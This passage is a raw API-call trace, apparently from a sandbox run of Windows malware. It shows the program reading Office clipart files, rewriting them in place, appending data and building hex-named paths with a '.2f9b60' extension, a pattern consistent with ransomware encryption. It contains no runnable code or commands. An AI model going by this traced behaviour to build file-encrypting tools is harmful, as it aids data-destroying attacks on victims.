returned 0x422f3a30 [0149.869] NtQuerySystemTime (in: CurrentTime=0x2690f760 | out: CurrentTime=0x2690f760*=132462177550714000) returned 0x0 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x604e9ebe [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0xa331429 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x6d4c1af3 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x1f479b74 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x621e949f [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x377a5a10 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x36296e1c [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x226e37d4 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x74f2f47d [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x7fbd115f [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x5de2a628 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x79e71724 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x17602545 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x4e30283f [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x37d7358 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x22973f9a [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x16a0c31b [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x6e0f77a6 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x2dfc7c30 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x726ff500 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x3d396150 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x6e605e22 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x7198c9ec [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x476c833b [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x115d86eb [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x70782da1 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x144012d7 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x2bd21727 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x58e4fe10 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x2fa1e6c5 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x52da4f89 [0149.869] RtlRandomEx (in: Seed=0x2690f750 | out: Seed=0x2690f750) returned 0x46eacee9 [0149.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3a60 [0149.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a730 [0149.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3a90 [0149.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a730) returned 1 [0149.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3a30) returned 1 [0149.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0149.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a730 [0149.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423ae500 [0149.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423b2110 [0149.882] ReadFile (in: hFile=0x2190, lpBuffer=0x423ae500, nNumberOfBytesToRead=0x964, lpNumberOfBytesRead=0x2690f750, lpOverlapped=0x0 | out: lpBuffer=0x423ae500*, lpNumberOfBytesRead=0x2690f750*=0x964, lpOverlapped=0x0) returned 1 [0149.882] SetFilePointerEx (in: hFile=0x2190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.882] WriteFile (in: hFile=0x2190, lpBuffer=0x423b2110*, nNumberOfBytesToWrite=0x964, lpNumberOfBytesWritten=0x2690f754, lpOverlapped=0x0 | out: lpBuffer=0x423b2110*, lpNumberOfBytesWritten=0x2690f754*=0x964, lpOverlapped=0x0) returned 1 [0161.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6350 [0161.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6380 [0161.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6380) returned 1 [0161.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423b2110) returned 1 [0161.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ae500) returned 1 [0161.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a730) returned 1 [0161.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0161.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a6380 [0161.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0161.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a730 [0161.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a63b0 [0161.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a63b0) returned 1 [0161.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a63b0 [0161.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a63e0 [0161.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6410 [0161.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6410) returned 1 [0161.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a730) returned 1 [0161.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0161.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ace30 [0161.902] SetFilePointerEx (in: hFile=0x2190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.902] WriteFile (in: hFile=0x2190, lpBuffer=0x423ace30*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2690f870, lpOverlapped=0x0 | out: lpBuffer=0x423ace30*, lpNumberOfBytesWritten=0x2690f870*=0x10a, lpOverlapped=0x0) returned 1 [0163.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b730 [0163.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3a00 [0163.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3a00) returned 1 [0163.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0163.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3a00 [0163.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f39d0 [0163.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f39d0) returned 1 [0163.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b730) returned 1 [0163.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0163.831] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="24") returned 2 [0163.831] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="6a") returned 2 [0163.831] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="6f") returned 2 [0163.831] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="ee") returned 2 [0163.831] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="a6") returned 2 [0163.832] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="22") returned 2 [0163.832] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="b1") returned 2 [0163.832] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="2a") returned 2 [0163.832] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="cb") returned 2 [0163.832] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="db") returned 2 [0163.832] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="eb") returned 2 [0163.832] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="ec") returned 2 [0163.832] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="4e") returned 2 [0163.832] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="ca") returned 2 [0163.832] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="3e") returned 2 [0163.832] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="2c") returned 2 [0163.832] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="cb") returned 2 [0163.832] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="01") returned 2 [0163.832] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="82") returned 2 [0163.832] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="0c") returned 2 [0163.832] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="40") returned 2 [0163.832] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="4d") returned 2 [0163.832] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="5a") returned 2 [0163.832] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="08") returned 2 [0163.832] RtlInitAnsiString (in: DestinationString=0x2690f8e8, SourceString="246a6feea622b12acbdbebec4eca3e2ccb01820c404d5a08" | out: DestinationString="246a6feea622b12acbdbebec4eca3e2ccb01820c404d5a08") [0163.832] RtlAnsiStringToUnicodeString (in: DestinationString=0x2690f8b8, SourceString="246a6feea622b12acbdbebec4eca3e2ccb01820c404d5a08", AllocateDestinationString=1 | out: DestinationString="246a6feea622b12acbdbebec4eca3e2ccb01820c404d5a08") returned 0x0 [0163.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b858210 [0163.833] RtlFreeAnsiString (AnsiString="2") [0163.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0163.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0163.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3a00) returned 1 [0163.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ace30) returned 1 [0163.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a63b0) returned 1 [0163.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a63e0) returned 1 [0163.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6380) returned 1 [0163.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6350) returned 1 [0163.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f39a0) returned 1 [0163.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3a60) returned 1 [0163.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3a90) returned 1 [0163.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230d7e0 [0163.835] wcscat (in: _Dest=0x4230d7e0, _Source="246a6feea622" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\246a6feea622") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\246a6feea622" [0163.835] wcscat (in: _Dest=0x4230d7e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\246a6feea622.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\246a6feea622.2f9b60" [0163.835] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\246a6feea622.2f9b60", NtPathName=0x2690f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\246a6feea622.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2a150 Thread: id = 2350 os_tid = 0x1d1c [0149.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x20 [0149.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF", dwFileAttributes=0x20) returned 1 [0149.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2194 [0149.885] GetFileSizeEx (in: hFile=0x2194, lpFileSize=0x281ef8c0 | out: lpFileSize=0x281ef8c0*=2052) returned 1 [0149.886] SetFilePointerEx (in: hFile=0x2194, liDistanceToMove=0x800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.886] ReadFile (in: hFile=0x2194, lpBuffer=0x281ef840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x281ef888, lpOverlapped=0x0 | out: lpBuffer=0x281ef840*, lpNumberOfBytesRead=0x281ef888*=0x4, lpOverlapped=0x0) returned 1 [0149.887] SetFilePointerEx (in: hFile=0x2194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3a30 [0149.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3ac0 [0149.887] NtQuerySystemTime (in: CurrentTime=0x281ef780 | out: CurrentTime=0x281ef780*=132462177551026000) returned 0x0 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x7cb52be8 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x9d2b4b [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x7a5ec593 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x64e507f6 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0xda6eb22 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x66591998 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x1895604e [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0xe0aa5d1 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x3e0b16a0 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x3eb38c23 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x178cca62 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x4254d4e0 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x39623789 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x5f9f0a0 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x45984e8d [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x5b7590b1 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x5819c4dc [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x55b2191d [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x70cddf21 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x4ffba1d5 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x71f9cc61 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x310310de [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x75b36ead [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x6a74c576 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x47419b26 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x4f6b4a59 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x12abf5ab [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x5b3d60e6 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x797a3bad [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x2edf53de [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x186d2590 [0149.888] RtlRandomEx (in: Seed=0x281ef770 | out: Seed=0x281ef770) returned 0x443f445d [0149.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3af0 [0149.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a7b0 [0149.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3b20 [0149.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a7b0) returned 1 [0149.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3ac0) returned 1 [0149.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c170 [0149.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a7b0 [0149.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423b5d20 [0149.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423b9930 [0149.897] ReadFile (in: hFile=0x2194, lpBuffer=0x423b5d20, nNumberOfBytesToRead=0x804, lpNumberOfBytesRead=0x281ef770, lpOverlapped=0x0 | out: lpBuffer=0x423b5d20*, lpNumberOfBytesRead=0x281ef770*=0x804, lpOverlapped=0x0) returned 1 [0149.897] SetFilePointerEx (in: hFile=0x2194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.897] WriteFile (in: hFile=0x2194, lpBuffer=0x423b9930*, nNumberOfBytesToWrite=0x804, lpNumberOfBytesWritten=0x281ef774, lpOverlapped=0x0 | out: lpBuffer=0x423b9930*, lpNumberOfBytesWritten=0x281ef774*=0x804, lpOverlapped=0x0) returned 1 [0161.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a64d0 [0161.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6500 [0161.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6500) returned 1 [0161.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423b9930) returned 1 [0161.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423b5d20) returned 1 [0161.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a7b0) returned 1 [0161.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c170) returned 1 [0161.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a6500 [0161.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c170 [0161.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a7b0 [0161.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6530 [0161.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6530) returned 1 [0161.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a6530 [0161.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6560 [0161.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6590 [0161.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6590) returned 1 [0161.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a7b0) returned 1 [0161.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c170) returned 1 [0161.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423acf50 [0161.918] SetFilePointerEx (in: hFile=0x2194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.918] WriteFile (in: hFile=0x2194, lpBuffer=0x423acf50*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x281ef890, lpOverlapped=0x0 | out: lpBuffer=0x423acf50*, lpNumberOfBytesWritten=0x281ef890*=0x10a, lpOverlapped=0x0) returned 1 [0163.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0163.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8d20 [0163.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8d20) returned 1 [0163.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0163.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8d20 [0163.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8cf0 [0163.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8cf0) returned 1 [0163.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0163.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0163.847] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="aa") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="f6") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="4d") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="06") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="78") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="23") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="1a") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="38") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="6f") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="56") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="c6") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="8e") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="01") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="3f") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="a6") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="db") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="14") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="32") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="04") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="1b") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="29") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="5f") returned 2 [0163.847] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="4e") returned 2 [0163.848] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="72") returned 2 [0163.848] RtlInitAnsiString (in: DestinationString=0x281ef908, SourceString="aaf64d0678231a386f56c68e013fa6db1432041b295f4e72" | out: DestinationString="aaf64d0678231a386f56c68e013fa6db1432041b295f4e72") [0163.848] RtlAnsiStringToUnicodeString (in: DestinationString=0x281ef8d8, SourceString="aaf64d0678231a386f56c68e013fa6db1432041b295f4e72", AllocateDestinationString=1 | out: DestinationString="aaf64d0678231a386f56c68e013fa6db1432041b295f4e72") returned 0x0 [0163.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b858280 [0163.848] RtlFreeAnsiString (AnsiString="a") [0163.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 